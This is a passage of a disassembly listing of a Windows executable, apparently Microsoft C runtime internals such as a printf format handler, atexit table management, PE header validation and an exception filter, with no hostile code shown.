sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o lea eax, [ebp+1F8h+var_25C] ; jumptable 00406C67 case 0 push eax movzx eax, dl push eax mov [ebp+1F8h+var_23C], esi call sub_40A886 pop ecx test eax, eax mov al, [ebp+1F8h+var_211] pop ecx jz short loc_406E39 mov ecx, [ebp+1F8h+var_228] lea esi, [ebp+1F8h+var_22C] call sub_406A24 mov al, [ebx] inc ebx test al, al mov [ebp+1F8h+var_240], ebx jz loc_4073FA loc_406E39: ; CODE XREF: sub_406AC5+359j mov ecx, [ebp+1F8h+var_228] lea esi, [ebp+1F8h+var_22C] call sub_406A24 jmp loc_4073E1 ; default ; --------------------------------------------------------------------------- loc_406E49: ; CODE XREF: sub_406AC5+1A2j ; DATA XREF: seg001:off_407439o movsx eax, dl ; jumptable 00406C67 case 7 cmp eax, 64h jg loc_406FC7 jz loc_407046 cmp eax, 53h jg loc_406F0F jz short loc_406EC0 sub eax, 41h jz short loc_406E7B dec eax dec eax jz short loc_406EAF dec eax dec eax jz short loc_406E7B dec eax dec eax jnz loc_4072C9 loc_406E7B: ; CODE XREF: sub_406AC5+3A4j ; sub_406AC5+3ACj add dl, 20h mov [ebp+1F8h+var_270], 1 mov [ebp+1F8h+var_211], dl loc_406E88: ; CODE XREF: sub_406AC5+459j ; sub_406AC5+51Dj or [ebp+1F8h+var_210], 40h cmp [ebp+1F8h+var_218], esi lea ebx, [ebp+1F8h+var_20C] mov eax, 200h mov [ebp+1F8h+var_21C], ebx mov [ebp+1F8h+var_260], eax jge loc_40706A mov [ebp+1F8h+var_218], 6 jmp loc_4070B8 ; --------------------------------------------------------------------------- loc_406EAF: ; CODE XREF: sub_406AC5+3A8j test word ptr [ebp+1F8h+var_210], 830h jnz short loc_406F2C or [ebp+1F8h+var_210], 800h jmp short loc_406F2C ; --------------------------------------------------------------------------- loc_406EC0: ; CODE XREF: sub_406AC5+39Fj test word ptr [ebp+1F8h+var_210], 830h jnz short loc_406ECF or [ebp+1F8h+var_210], 800h loc_406ECF: ; CODE XREF: sub_406AC5+401j ; sub_406AC5+694j mov ecx, [ebp+1F8h+var_218] cmp ecx, 0FFFFFFFFh jnz short loc_406EDC mov ecx, 7FFFFFFFh loc_406EDC: ; CODE XREF: sub_406AC5+410j add edi, 4 test word ptr [ebp+1F8h+var_210], 810h mov [ebp+1F8h+var_224], edi mov edi, [edi-4] mov [ebp+1F8h+var_21C], edi jz loc_4072A7 cmp edi, esi jnz short loc_406F00 mov eax, off_4107CC mov [ebp+1F8h+var_21C], eax loc_406F00: ; CODE XREF: sub_406AC5+431j mov eax, [ebp+1F8h+var_21C] mov [ebp+1F8h+var_23C], 1 jmp loc_40729C ; --------------------------------------------------------------------------- loc_406F0F: ; CODE XREF: sub_406AC5+399j sub eax, 58h jz loc_407151 dec eax dec eax jz short loc_406F79 sub eax, ecx jz loc_406E88 dec eax dec eax jnz loc_4072C9 loc_406F2C: ; CODE XREF: sub_406AC5+3F0j ; sub_406AC5+3F9j add edi, 4 test word ptr [ebp+1F8h+var_210], 810h mov [ebp+1F8h+var_224], edi jz short loc_406F61 movzx eax, word ptr [edi-4] push eax push 200h lea eax, [ebp+1F8h+var_20C] push eax lea eax, [ebp+1F8h+var_220] push eax call sub_40A86B add esp, 10h test eax, eax jz short loc_406F6E mov [ebp+1F8h+var_248], 1 jmp short loc_406F6E ; --------------------------------------------------------------------------- loc_406F61: ; CODE XREF: sub_406AC5+473j mov al, [edi-4] mov [ebp+1F8h+var_20C], al mov [ebp+1F8h+var_220], 1 loc_406F6E: ; CODE XREF: sub_406AC5+491j ; sub_406AC5+49Aj lea eax, [ebp+1F8h+var_20C] mov [ebp+1F8h+var_21C], eax jmp loc_4072C9 ; --------------------------------------------------------------------------- loc_406F79: ; CODE XREF: sub_406AC5+455j mov eax, [edi] add edi, 4 cmp eax, esi mov [ebp+1F8h+var_224], edi jz short loc_406FB3 mov ecx, [eax+4] cmp ecx, esi jz short loc_406FB3 test word ptr [ebp+1F8h+var_210], 800h movsx eax, word ptr [eax] mov [ebp+1F8h+var_21C], ecx jz short loc_406FAB cdq sub eax, edx sar eax, 1 mov [ebp+1F8h+var_23C], 1 jmp loc_4072C6 ; --------------------------------------------------------------------------- loc_406FAB: ; CODE XREF: sub_406AC5+4D3j mov [ebp+1F8h+var_23C], esi jmp loc_4072C6 ; --------------------------------------------------------------------------- loc_406FB3: ; CODE XREF: sub_406AC5+4BEj ; sub_406AC5+4C5j mov eax, off_4107C8 mov [ebp+1F8h+var_21C], eax push eax loc_406FBC: ; CODE XREF: sub_406AC5+680j call sub_404F20 pop ecx jmp loc_4072C6 ; --------------------------------------------------------------------------- loc_406FC7: ; CODE XREF: sub_406AC5+38Aj cmp eax, 70h jg loc_407156 jz loc_40714A cmp eax, 65h jl loc_4072C9 cmp eax, 67h jle loc_406E88 cmp eax, 69h jz short loc_407046 cmp eax, 6Eh jz short loc_407011 cmp eax, 6Fh jnz loc_4072C9 test byte ptr [ebp+1F8h+var_210], 80h mov [ebp+1F8h+var_220], 8 jz short loc_407051 or [ebp+1F8h+var_210], 200h jmp short loc_407051 ; --------------------------------------------------------------------------- loc_407011: ; CODE XREF: sub_406AC5+52Bj mov esi, [edi] add edi, 4 mov [ebp+1F8h+var_224], edi call sub_40A6F6 test eax, eax jz loc_4073FA test byte ptr [ebp+1F8h+var_210], 20h jz short loc_407035 mov ax, word ptr [ebp+1F8h+var_22C] mov [esi], ax jmp short loc_40703A ; --------------------------------------------------------------------------- loc_407035: ; CODE XREF: sub_406AC5+565j mov eax, [ebp+1F8h+var_22C] mov [esi], eax loc_40703A: ; CODE XREF: sub_406AC5+56Ej mov [ebp+1F8h+var_248], 1 jmp loc_4073CE ; --------------------------------------------------------------------------- loc_407046: ; CODE XREF: sub_406AC5+390j ; sub_406AC5+526j or [ebp+1F8h+var_210], 40h loc_40704A: ; CODE XREF: sub_406AC5+69Cj mov [ebp+1F8h+var_220], 0Ah loc_407051: ; CODE XREF: sub_406AC5+541j ; sub_406AC5+54Aj ... mov ecx, [ebp+1F8h+var_210] test cx, cx jns loc_4071A0 loc_40705D: ; CODE XREF: sub_406AC5+6E0j mov eax, [edi] mov edx, [edi+4] add edi, 8 jmp loc_4071D5 ; --------------------------------------------------------------------------- loc_40706A: ; CODE XREF: sub_406AC5+3D8j jnz short loc_40707A cmp dl, 67h jnz short loc_4070B8 mov [ebp+1F8h+var_218], 1 jmp short loc_4070B8 ; --------------------------------------------------------------------------- loc_40707A: ; CODE XREF: sub_406AC5:loc_40706Aj cmp [ebp+1F8h+var_218], eax jle short loc_407082 mov [ebp+1F8h+var_218], eax loc_407082: ; CODE XREF: sub_406AC5+5B8j cmp [ebp+1F8h+var_218], 0A3h jle short loc_4070B8 mov esi, [ebp+1F8h+var_218] add esi, 15Dh push esi call sub_409323 test eax, eax mov dl, [ebp+1F8h+var_211] pop ecx mov [ebp+1F8h+var_24C], eax jz short loc_4070AF mov [ebp+1F8h+var_21C], eax mov [ebp+1F8h+var_260], esi mov ebx, eax jmp short loc_4070B6 ; --------------------------------------------------------------------------- loc_4070AF: ; CODE XREF: sub_406AC5+5DEj mov [ebp+1F8h+var_218], 0A3h loc_4070B6: ; CODE XREF: sub_406AC5+5E8j xor esi, esi loc_4070B8: ; CODE XREF: sub_406AC5+3E5j ; sub_406AC5+5AAj ... mov eax, [edi] add edi, 8 mov [ebp+1F8h+var_278], eax mov eax, [edi-4] mov [ebp+1F8h+var_274], eax lea eax, [ebp+1F8h+var_25C] push eax push [ebp+1F8h+var_270] movsx eax, dl push [ebp+1F8h+var_218] mov [ebp+1F8h+var_224], edi push eax push [ebp+1F8h+var_260] lea eax, [ebp+1F8h+var_278] push ebx push eax push off_4107E8 call sub_4062CC pop ecx call eax mov edi, [ebp+1F8h+var_210] add esp, 1Ch and edi, 80h jz short loc_407115 cmp [ebp+1F8h+var_218], esi jnz short loc_407115 lea eax, [ebp+1F8h+var_25C] push eax push ebx push off_4107F4 call sub_4062CC pop ecx call eax pop ecx pop ecx loc_407115: ; CODE XREF: sub_406AC5+634j ; sub_406AC5+639j cmp [ebp+1F8h+var_211], 67h jnz short loc_407134 cmp edi, esi jnz short loc_407134 lea eax, [ebp+1F8h+var_25C] push eax push ebx push off_4107F0 call sub_4062CC pop ecx call eax pop ecx pop ecx loc_407134: ; CODE XREF: sub_406AC5+654j ; sub_406AC5+658j cmp byte ptr [ebx], 2Dh jnz short loc_407144 or [ebp+1F8h+var_210], 100h inc ebx mov [ebp+1F8h+var_21C], ebx loc_407144: ; CODE XREF: sub_406AC5+672j push ebx jmp loc_406FBC ; --------------------------------------------------------------------------- loc_40714A: ; CODE XREF: sub_406AC5+50Bj mov [ebp+1F8h+var_218], 8 loc_407151: ; CODE XREF: sub_406AC5+44Dj mov [ebp+1F8h+var_244], ecx jmp short loc_407177 ; --------------------------------------------------------------------------- loc_407156: ; CODE XREF: sub_406AC5+505j sub eax, 73h jz loc_406ECF dec eax dec eax jz loc_40704A sub eax, 3 jnz loc_4072C9 mov [ebp+1F8h+var_244], 27h loc_407177: ; CODE XREF: sub_406AC5+68Fj test byte ptr [ebp+1F8h+var_210], 80h mov [ebp+1F8h+var_220], 10h jz loc_407051 mov al, byte ptr [ebp+1F8h+var_244] add al, 51h mov [ebp+1F8h+var_230], 30h mov [ebp+1F8h+var_22F], al mov [ebp+1F8h+var_234], 2 jmp loc_407051 ; --------------------------------------------------------------------------- loc_4071A0: ; CODE XREF: sub_406AC5+592j test cx, 1000h jnz loc_40705D add edi, 4 test cl, 20h jz short loc_4071C8 test cl, 40h mov [ebp+1F8h+var_224], edi jz short loc_4071C1 movsx eax, word ptr [edi-4] jmp short loc_4071C5 ; --------------------------------------------------------------------------- loc_4071C1: ; CODE XREF: sub_406AC5+6F4j movzx eax, word ptr [edi-4] loc_4071C5: ; CODE XREF: sub_406AC5+6FAj cdq jmp short loc_4071D8 ; --------------------------------------------------------------------------- loc_4071C8: ; CODE XREF: sub_406AC5+6ECj test cl, 40h mov eax, [edi-4] jz short loc_4071D3 cdq jmp short loc_4071D5 ; --------------------------------------------------------------------------- loc_4071D3: ; CODE XREF: sub_406AC5+709j xor edx, edx loc_4071D5: ; CODE XREF: sub_406AC5+5A0j ; sub_406AC5+70Cj mov [ebp+1F8h+var_224], edi loc_4071D8: ; CODE XREF: sub_406AC5+701j test cl, 40h jz short loc_4071F5 cmp edx, esi jg short loc_4071F5 jl short loc_4071E7 cmp eax, esi jnb short loc_4071F5 loc_4071E7: ; CODE XREF: sub_406AC5+71Cj neg eax adc edx, 0 neg edx or [ebp+1F8h+var_210], 100h loc_4071F5: ; CODE XREF: sub_406AC5+716j ; sub_406AC5+71Aj ... test word ptr [ebp+1F8h+var_210], 9000h mov ebx, edx mov edi, eax jnz short loc_407203 xor ebx, ebx loc_407203: ; CODE XREF: sub_406AC5+73Aj cmp [ebp+1F8h+var_218], 0 jge short loc_407212 mov [ebp+1F8h+var_218], 1 jmp short loc_407223 ; --------------------------------------------------------------------------- loc_407212: ; CODE XREF: sub_406AC5+742j and [ebp+1F8h+var_210], 0FFFFFFF7h mov eax, 200h cmp [ebp+1F8h+var_218], eax jle short loc_407223 mov [ebp+1F8h+var_218], eax loc_407223: ; CODE XREF: sub_406AC5+74Bj ; sub_406AC5+759j mov eax, edi or eax, ebx jnz short loc_40722C and [ebp+1F8h+var_234], eax loc_40722C: ; CODE XREF: sub_406AC5+762j lea esi, [ebp+1F8h+var_D] loc_407232: ; CODE XREF: sub_406AC5+79Fj mov eax, [ebp+1F8h+var_218] dec [ebp+1F8h+var_218] test eax, eax jg short loc_407242 mov eax, edi or eax, ebx jz short loc_407266 loc_407242: ; CODE XREF: sub_406AC5+775j mov eax, [ebp+1F8h+var_220] cdq push edx push eax push ebx push edi call sub_40A8D0 add ecx, 30h cmp ecx, 39h mov [ebp+1F8h+var_260], ebx mov edi, eax mov ebx, edx jle short loc_407261 add ecx, [ebp+1F8h+var_244] loc_407261: ; CODE XREF: sub_406AC5+797j mov [esi], cl dec esi jmp short loc_407232 ; --------------------------------------------------------------------------- loc_407266: ; CODE XREF: sub_406AC5+77Bj lea eax, [ebp+1F8h+var_D] sub eax, esi inc esi test word ptr [ebp+1F8h+var_210], 200h mov [ebp+1F8h+var_220], eax mov [ebp+1F8h+var_21C], esi jz short loc_4072C9 test eax, eax jz short loc_407288 mov ecx, esi cmp byte ptr [ecx], 30h jz short loc_4072C9 loc_407288: ; CODE XREF: sub_406AC5+7BAj dec [ebp+1F8h+var_21C] mov ecx, [ebp+1F8h+var_21C] mov byte ptr [ecx], 30h inc eax jmp short loc_4072C6 ; --------------------------------------------------------------------------- loc_407294: ; CODE XREF: sub_406AC5+7D9j dec ecx cmp [eax], si jz short loc_4072A0 inc eax inc eax loc_40729C: ; CODE XREF: sub_406AC5+445j cmp ecx, esi jnz short loc_407294 loc_4072A0: ; CODE XREF: sub_406AC5+7D3j sub eax, [ebp+1F8h+var_21C] sar eax, 1 jmp short loc_4072C6 ; --------------------------------------------------------------------------- loc_4072A7: ; CODE XREF: sub_406AC5+429j cmp edi, esi jnz short loc_4072B3 mov eax, off_4107C8 mov [ebp+1F8h+var_21C], eax loc_4072B3: ; CODE XREF: sub_406AC5+7E4j mov eax, [ebp+1F8h+var_21C] jmp short loc_4072BF ; --------------------------------------------------------------------------- loc_4072B8: ; CODE XREF: sub_406AC5+7FCj dec ecx cmp byte ptr [eax], 0 jz short loc_4072C3 inc eax loc_4072BF: ; CODE XREF: sub_406AC5+7F1j cmp ecx, esi jnz short loc_4072B8 loc_4072C3: ; CODE XREF: sub_406AC5+7F7j sub eax, [ebp+1F8h+var_21C] loc_4072C6: ; CODE XREF: sub_406AC5+4E1j ; sub_406AC5+4E9j ... mov [ebp+1F8h+var_220], eax loc_4072C9: ; CODE XREF: sub_406AC5+3B0j ; sub_406AC5+461j ... cmp [ebp+1F8h+var_248], 0 jnz loc_4073CE mov eax, [ebp+1F8h+var_210] test al, 40h jz short loc_4072FF test ax, 100h jz short loc_4072E6 mov [ebp+1F8h+var_230], 2Dh jmp short loc_4072F8 ; --------------------------------------------------------------------------- loc_4072E6: ; CODE XREF: sub_406AC5+819j test al, 1 jz short loc_4072F0 mov [ebp+1F8h+var_230], 2Bh jmp short loc_4072F8 ; --------------------------------------------------------------------------- loc_4072F0: ; CODE XREF: sub_406AC5+823j test al, 2 jz short loc_4072FF mov [ebp+1F8h+var_230], 20h loc_4072F8: ; CODE XREF: sub_406AC5+81Fj ; sub_406AC5+829j mov [ebp+1F8h+var_234], 1 loc_4072FF: ; CODE XREF: sub_406AC5+813j ; sub_406AC5+82Dj mov ebx, [ebp+1F8h+var_238] sub ebx, [ebp+1F8h+var_220] sub ebx, [ebp+1F8h+var_234] test byte ptr [ebp+1F8h+var_210], 0Ch jnz short loc_40731F push [ebp+1F8h+var_228] lea eax, [ebp+1F8h+var_22C] push ebx push 20h call sub_406A57 add esp, 0Ch loc_40731F: ; CODE XREF: sub_406AC5+847j push [ebp+1F8h+var_234] mov edi, [ebp+1F8h+var_228] lea eax, [ebp+1F8h+var_22C] lea ecx, [ebp+1F8h+var_230] call sub_406A7B test byte ptr [ebp+1F8h+var_210], 8 pop ecx jz short loc_40734C test byte ptr [ebp+1F8h+var_210], 4 jnz short loc_40734C push edi push ebx push 30h lea eax, [ebp+1F8h+var_22C] call sub_406A57 add esp, 0Ch loc_40734C: ; CODE XREF: sub_406AC5+870j ; sub_406AC5+876j cmp [ebp+1F8h+var_23C], 0 mov eax, [ebp+1F8h+var_220] jz short loc_4073A6 test eax, eax jle short loc_4073A6 mov esi, [ebp+1F8h+var_21C] mov [ebp+1F8h+var_260], eax loc_40735F: ; CODE XREF: sub_406AC5+8D7j movzx eax, word ptr [esi] dec [ebp+1F8h+var_260] push eax push 6 lea eax, [ebp+1F8h+var_C] push eax lea eax, [ebp+1F8h+var_268] inc esi push eax inc esi call sub_40A86B add esp, 10h test eax, eax jnz short loc_4073A0 cmp [ebp+1F8h+var_268], eax jz short loc_4073A0 push [ebp+1F8h+var_268] lea eax, [ebp+1F8h+var_22C] lea ecx, [ebp+1F8h+var_C] call sub_406A7B cmp [ebp+1F8h+var_260], 0 pop ecx jnz short loc_40735F jmp short loc_4073B3 ; --------------------------------------------------------------------------- loc_4073A0: ; CODE XREF: sub_406AC5+8BAj ; sub_406AC5+8BFj or [ebp+1F8h+var_22C], 0FFFFFFFFh jmp short loc_4073B3 ; --------------------------------------------------------------------------- loc_4073A6: ; CODE XREF: sub_406AC5+88Ej ; sub_406AC5+892j mov ecx, [ebp+1F8h+var_21C] push eax lea eax, [ebp+1F8h+var_22C] call sub_406A7B pop ecx loc_4073B3: ; CODE XREF: sub_406AC5+8D9j ; sub_406AC5+8DFj cmp [ebp+1F8h+var_22C], 0 jl short loc_4073CE test byte ptr [ebp+1F8h+var_210], 4 jz short loc_4073CE push edi push ebx push 20h lea eax, [ebp+1F8h+var_22C] call sub_406A57 add esp, 0Ch loc_4073CE: ; CODE XREF: sub_406AC5+57Cj ; sub_406AC5+808j ... cmp [ebp+1F8h+var_24C], 0 jz short loc_4073E1 ; default push [ebp+1F8h+var_24C] call sub_40405A and [ebp+1F8h+var_24C], 0 pop ecx loc_4073E1: ; CODE XREF: sub_406AC5+19Cj ; sub_406AC5+1BFj ... mov ebx, [ebp+1F8h+var_240] ; default mov al, [ebx] test al, al mov [ebp+1F8h+var_211], al jz short loc_407411 mov ecx, [ebp+1F8h+var_26C] mov edi, [ebp+1F8h+var_224] mov dl, al jmp loc_406C23 ; --------------------------------------------------------------------------- loc_4073FA: ; CODE XREF: sub_406AC5+36Ej ; sub_406AC5+55Bj call sub_403F8F mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax jmp loc_406B35 ; --------------------------------------------------------------------------- loc_407411: ; CODE XREF: sub_406AC5+158j ; sub_406AC5+166j ... cmp [ebp+1F8h+var_250], 0 jz short loc_40741E mov eax, [ebp+1F8h+var_254] and dword ptr [eax+70h], 0FFFFFFFDh loc_40741E: ; CODE XREF: sub_406AC5+950j mov eax, [ebp+1F8h+var_22C] loc_407421: ; CODE XREF: sub_406AC5+88j mov ecx, [ebp+1F8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_403F45 add ebp, 1F8h leave retn sub_406AC5 endp ; --------------------------------------------------------------------------- off_407439 dd offset loc_406E07 ; DATA XREF: sub_406AC5+1A2r dd offset loc_406C6E ; jump table for switch statement dd offset loc_406C89 dd offset loc_406CD8 dd offset loc_406D12 dd offset loc_406D1A dd offset loc_406D51 dd offset loc_406E49 ; =============== S U B R O U T I N E ======================================= sub_407459 proc near ; CODE XREF: sub_407541+18p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi push dword_413BB4 call sub_4062CC push dword_413BB0 mov esi, eax mov [esp+1Ch+var_4], esi call sub_4062CC mov edi, eax cmp edi, esi pop ecx pop ecx jb loc_40750A mov ebx, edi sub ebx, esi lea ebp, [ebx+4] cmp ebp, 4 jb short loc_40750A push esi call sub_40A965 mov esi, eax cmp esi, ebp pop ecx jnb short loc_4074E9 mov eax, 800h cmp esi, eax jnb short loc_4074AA mov eax, esi loc_4074AA: ; CODE XREF: sub_407459+4Dj add eax, esi cmp eax, esi jb short loc_4074C0 push eax push [esp+18h+var_4] call sub_4093AB test eax, eax pop ecx pop ecx jnz short loc_4074D7 loc_4074C0: ; CODE XREF: sub_407459+55j lea eax, [esi+10h] cmp eax, esi jb short loc_40750A push eax push [esp+18h+var_4] call sub_4093AB test eax, eax pop ecx pop ecx jz short loc_40750A loc_4074D7: ; CODE XREF: sub_407459+65j sar ebx, 2 push eax lea edi, [eax+ebx*4] call sub_406255 pop ecx mov dword_413BB4, eax loc_4074E9: ; CODE XREF: sub_407459+44j push [esp+14h+arg_0] call sub_406255 mov [edi], eax add edi, 4 push edi call sub_406255 pop ecx mov dword_413BB0, eax mov eax, [esp+18h+arg_0] pop ecx jmp short loc_40750C ; --------------------------------------------------------------------------- loc_40750A: ; CODE XREF: sub_407459+27j ; sub_407459+37j ... xor eax, eax loc_40750C: ; CODE XREF: sub_407459+AFj pop edi pop esi pop ebp pop ebx pop ecx retn sub_407459 endp ; =============== S U B R O U T I N E ======================================= sub_407512 proc near ; DATA XREF: seg001:0040D22Co push esi push 4 push 20h call sub_409363 mov esi, eax push esi call sub_406255 add esp, 0Ch test esi, esi mov dword_413BB4, eax mov dword_413BB0, eax jnz short loc_40753A push 18h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40753A: ; CODE XREF: sub_407512+21j and dword ptr [esi], 0 xor eax, eax pop esi retn sub_407512 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407541 proc near ; CODE XREF: sub_40757D+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_40E5A0 call __SEH_prolog4 call loc_40428E and [ebp+ms_exc.disabled], 0 push [ebp+arg_0] call sub_407459 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_407577 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_407541 endp ; =============== S U B R O U T I N E ======================================= sub_407577 proc near ; CODE XREF: sub_407541+28p ; DATA XREF: seg001:0040E5B8o call sub_404297 retn sub_407577 endp ; =============== S U B R O U T I N E ======================================= sub_40757D proc near ; CODE XREF: sub_40434B+44p arg_0 = dword ptr 4 push [esp+arg_0] call sub_407541 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_40757D endp ; =============== S U B R O U T I N E ======================================= sub_40758F proc near ; CODE XREF: seg001:loc_404C8Fp push esi push edi mov eax, offset dword_40E480 mov edi, offset dword_40E480 cmp eax, edi mov esi, eax jnb short loc_4075B0 loc_4075A1: ; CODE XREF: sub_40758F+1Fj mov eax, [esi] test eax, eax jz short loc_4075A9 call eax loc_4075A9: ; CODE XREF: sub_40758F+16j add esi, 4 cmp esi, edi jb short loc_4075A1 loc_4075B0: ; CODE XREF: sub_40758F+10j pop edi pop esi retn sub_40758F endp ; =============== S U B R O U T I N E ======================================= sub_4075B3 proc near ; DATA XREF: sub_40434B+3Fo push esi push edi mov eax, offset dword_40E488 mov edi, offset dword_40E488 cmp eax, edi mov esi, eax jnb short loc_4075D4 loc_4075C5: ; CODE XREF: sub_4075B3+1Fj mov eax, [esi] test eax, eax jz short loc_4075CD call eax loc_4075CD: ; CODE XREF: sub_4075B3+16j add esi, 4 cmp esi, edi jb short loc_4075C5 loc_4075D4: ; CODE XREF: sub_4075B3+10j pop edi pop esi retn sub_4075B3 endp ; =============== S U B R O U T I N E ======================================= sub_4075D7 proc near ; CODE XREF: sub_40434B:loc_40436Ep push esi push edi xor edi, edi loc_4075DB: ; CODE XREF: sub_4075D7+1Aj lea esi, off_4107D0[edi] push dword ptr [esi] call sub_406255 add edi, 4 cmp edi, 28h pop ecx mov [esi], eax jb short loc_4075DB pop edi pop esi retn sub_4075D7 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407600 proc near ; CODE XREF: sub_407680+3Fp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 5A4Dh jz short loc_40760E loc_40760B: ; CODE XREF: sub_407600+19j xor eax, eax retn ; --------------------------------------------------------------------------- loc_40760E: ; CODE XREF: sub_407600+9j mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz short loc_40760B xor ecx, ecx cmp word ptr [eax+18h], 10Bh setz cl mov eax, ecx retn sub_407600 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407630 proc near ; CODE XREF: sub_407680+59p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [eax+3Ch] add ecx, eax movzx eax, word ptr [ecx+14h] push ebx push esi movzx esi, word ptr [ecx+6] xor edx, edx test esi, esi push edi lea eax, [eax+ecx+18h] jbe short loc_40766C mov edi, [esp+0Ch+arg_4] loc_407652: ; CODE XREF: sub_407630+3Aj mov ecx, [eax+0Ch] cmp edi, ecx jb short loc_407662 mov ebx, [eax+8] add ebx, ecx cmp edi, ebx jb short loc_40766E loc_407662: ; CODE XREF: sub_407630+27j add edx, 1 add eax, 28h cmp edx, esi jb short loc_407652 loc_40766C: ; CODE XREF: sub_407630+1Cj xor eax, eax loc_40766E: ; CODE XREF: sub_407630+30j pop edi pop esi pop ebx retn sub_407630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407680 proc near ; CODE XREF: sub_40434B+Ep ; sub_40434B+79p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFEh push offset dword_40E5C0 push offset sub_404650 mov eax, large fs:0 push eax sub esp, 8 push ebx push esi push edi mov eax, dword_410440 xor [ebp+var_8], eax xor eax, ebp push eax lea eax, [ebp+var_10] mov large fs:0, eax mov [ebp+var_18], esp mov [ebp+var_4], 0 push offset __ImageBase call sub_407600 add esp, 4 test eax, eax jz short loc_407720 mov eax, [ebp+arg_0] sub eax, offset __ImageBase push eax push offset __ImageBase call sub_407630 add esp, 8 test eax, eax jz short loc_407720 mov eax, [eax+24h] shr eax, 1Fh not eax and eax, 1 mov [ebp+var_4], 0FFFFFFFEh mov ecx, [ebp+var_10] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov ecx, [eax] mov eax, [ecx] xor edx, edx cmp eax, 0C0000005h setz dl mov eax, edx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_407720: ; CODE XREF: sub_407680+49j ; sub_407680+63j mov [ebp+var_4], 0FFFFFFFEh xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407680 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40773B proc near ; CODE XREF: sub_408B3E:loc_408B71p ; DATA XREF: sub_407774o ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset dword_40E5E0 call __SEH_prolog4 call sub_4064E8 mov eax, [eax+78h] test eax, eax jz short loc_407769 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_407762 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_407762: ; CODE XREF: sub_40773B+1Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_407769: ; CODE XREF: sub_40773B+16j call sub_40AA11 call __SEH_epilog4 retn sub_40773B endp ; =============== S U B R O U T I N E ======================================= sub_407774 proc near ; CODE XREF: sub_4044FF+33p push offset sub_40773B call sub_406255 pop ecx mov off_411BD4, eax retn sub_407774 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407786 proc near ; CODE XREF: seg001:00404D34p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi call sub_406471 mov esi, eax test esi, esi jz loc_4078E1 mov edx, [esi+5Ch] mov eax, dword_41087C push edi mov edi, [ebp+arg_0] mov ecx, edx push ebx loc_4077AA: ; CODE XREF: sub_407786+34j cmp [ecx], edi jz short loc_4077BC mov ebx, eax imul ebx, 0Ch add ecx, 0Ch add ebx, edx cmp ecx, ebx jb short loc_4077AA loc_4077BC: ; CODE XREF: sub_407786+26j imul eax, 0Ch add eax, edx cmp ecx, eax jnb short loc_4077CD cmp [ecx], edi jnz short loc_4077CD mov eax, ecx jmp short loc_4077CF ; --------------------------------------------------------------------------- loc_4077CD: ; CODE XREF: sub_407786+3Dj ; sub_407786+41j xor eax, eax loc_4077CF: ; CODE XREF: sub_407786+45j test eax, eax jz short loc_4077DD mov ebx, [eax+8] test ebx, ebx mov [ebp+var_4], ebx jnz short loc_4077E4 loc_4077DD: ; CODE XREF: sub_407786+4Bj xor eax, eax jmp loc_4078DF ; --------------------------------------------------------------------------- loc_4077E4: ; CODE XREF: sub_407786+55j cmp ebx, 5 jnz short loc_4077F5 and dword ptr [eax+8], 0 xor eax, eax inc eax jmp loc_4078DF ; --------------------------------------------------------------------------- loc_4077F5: ; CODE XREF: sub_407786+61j cmp ebx, 1 jz loc_4078DC mov ecx, [esi+60h] mov [ebp+var_8], ecx mov ecx, [ebp+arg_4] mov [esi+60h], ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_4078CE mov ecx, dword_410870 mov edi, dword_410874 mov edx, ecx add edi, ecx cmp edx, edi jge short loc_40784E imul ecx, 0Ch loc_40782D: ; CODE XREF: sub_407786+C3j mov edi, [esi+5Ch] and dword ptr [ecx+edi+8], 0 mov edi, dword_410870 mov ebx, dword_410874 inc edx add ebx, edi add ecx, 0Ch cmp edx, ebx jl short loc_40782D mov ebx, [ebp+var_4] loc_40784E: ; CODE XREF: sub_407786+A2j mov eax, [eax] cmp eax, 0C000008Eh mov edi, [esi+64h] jnz short loc_407863 mov dword ptr [esi+64h], 83h jmp short loc_4078C1 ; --------------------------------------------------------------------------- loc_407863: ; CODE XREF: sub_407786+D2j cmp eax, 0C0000090h jnz short loc_407873 mov dword ptr [esi+64h], 81h jmp short loc_4078C1 ; --------------------------------------------------------------------------- loc_407873: ; CODE XREF: 